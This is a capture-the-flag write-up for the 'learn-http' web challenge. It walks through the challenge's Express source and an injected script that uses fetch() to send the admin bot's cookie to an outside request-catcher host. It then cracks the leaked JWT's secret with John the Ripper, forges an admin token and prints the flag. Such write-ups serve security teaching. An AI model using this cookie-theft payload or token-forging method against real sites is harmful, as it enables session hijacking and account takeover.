Tags: web
Rating: 5.0
Navigating to the page are are given a simple web app that generates a link to a raw HTTP response. There's also a button to press to have the *admin* check the page. This challenge initially looks like a XSS cookie leak challenge so let's start there.

We are also given the source code for the challenge and the `main.js` file that serves up the web app is as follows:
```js
require('dotenv').config()
const childProcess = require('child_process');
var jwt = require('jsonwebtoken');
const express = require("express")
const path = require("path")
const bodyParser = require("body-parser")
var cookieParser = require('cookie-parser')
const app = express()
app.use(express.static(path.join(__dirname, 'public')))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(cookieParser())
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "templates/index.html"))
})
const genToken = () => {
var token = jwt.sign({ id: 1 }, process.env.SECRET);
return token
}
app.post("/check", (req, res) => {
try {
let req_body = req.body.body
if (req_body == undefined) {
return res.status(200).send("Body is not provided")
}
let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`
childProcess.spawn('node', ['./bot.js', JSON.stringify({
url: to_req,
token: genToken()
})]);
return res.status(200).send("Admin will check!")
} catch (e) {
console.log(e)
return res.status(500).send("Internal Server Error")
}
})
app.get("/flag", (req, res) => {
let token = req.cookies.token
try {
var decoded = jwt.verify(token, process.env.SECRET)
if (decoded.id != 2) {
return res.status(200).send("You are not verified")
}
return res.status(200).send(process.env.FLAG)
} catch {
return res.status(200).send("You are not verified")
}
})
app.listen("5000", () => {
console.log("Server started")
})
```
We can use the JS function `fetch()` to make the browser fire a HTTP request and use string interpolation to have the host inject the cookie value into the URL. If we use this technique and <http://www.requestcatcher.com> we should be able to have the admin bot post it's token. Using that idea we can generate the following payload and then click the Check button.
```HTTP%2F1.1 200 OK%0D%0A%0D%0A<script>fetch(`https://asdasd.requestcatcher.com/${document.cookie}`)</script>```
The bot checks the link that was generated and we get a hit on the request catcher domain we created with a JWT in the URL
```http
GET /token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQ3MTU2fQ.XM_PJRCuVe5oI7zTXl93U_OMSg2ynpgrxoiAie1P33Y HTTP/1.1
Host: asdasd.requestcatcher.com
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Origin: http://localhost:5001
Referer: http://localhost:5001/
Sec-Ch-Ua: "HeadlessChrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36
```
If we decode the JWT using <https://jwt.io> we see the id property in the token body is `1`.
```json
{
"id": 1,
"iat": 1709947156
}
```
If we take a look at the `/flag` endpoint we can't simply a cookie with the token value that was leaked because `id` needs to be set to the value of two. We need to forge a new token with the Id but we don't know the secret. Luckily John The Ripper can be used to crack JWT secrets. Let's try using the rockyou worklist and see what comes up.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQ3MTU2fQ.XM_PJRCuVe5oI7zTXl93U_OMSg2ynpgrxoiAie1P33Y > jwt.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
banana (?)
1g 0:00:00:00 DONE (2024-03-08 20:34) 25.00g/s 51200p/s 51200c/s 51200C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
We get a hit for the secret as `banana` so if we plug that into jwt.io and change `id` to 2 that should give us the following token.
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQ3MTU2fQ.DzB4_z4urhAv7ZO09l-LJVuUszHlxRiKJ8vZSspo_OE`
Now we set a cookie named `token` to the new token value and navigate to <https://learn-http.ctf.pearlctf.in/flag> and collect our prize:
FLAG: `pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}`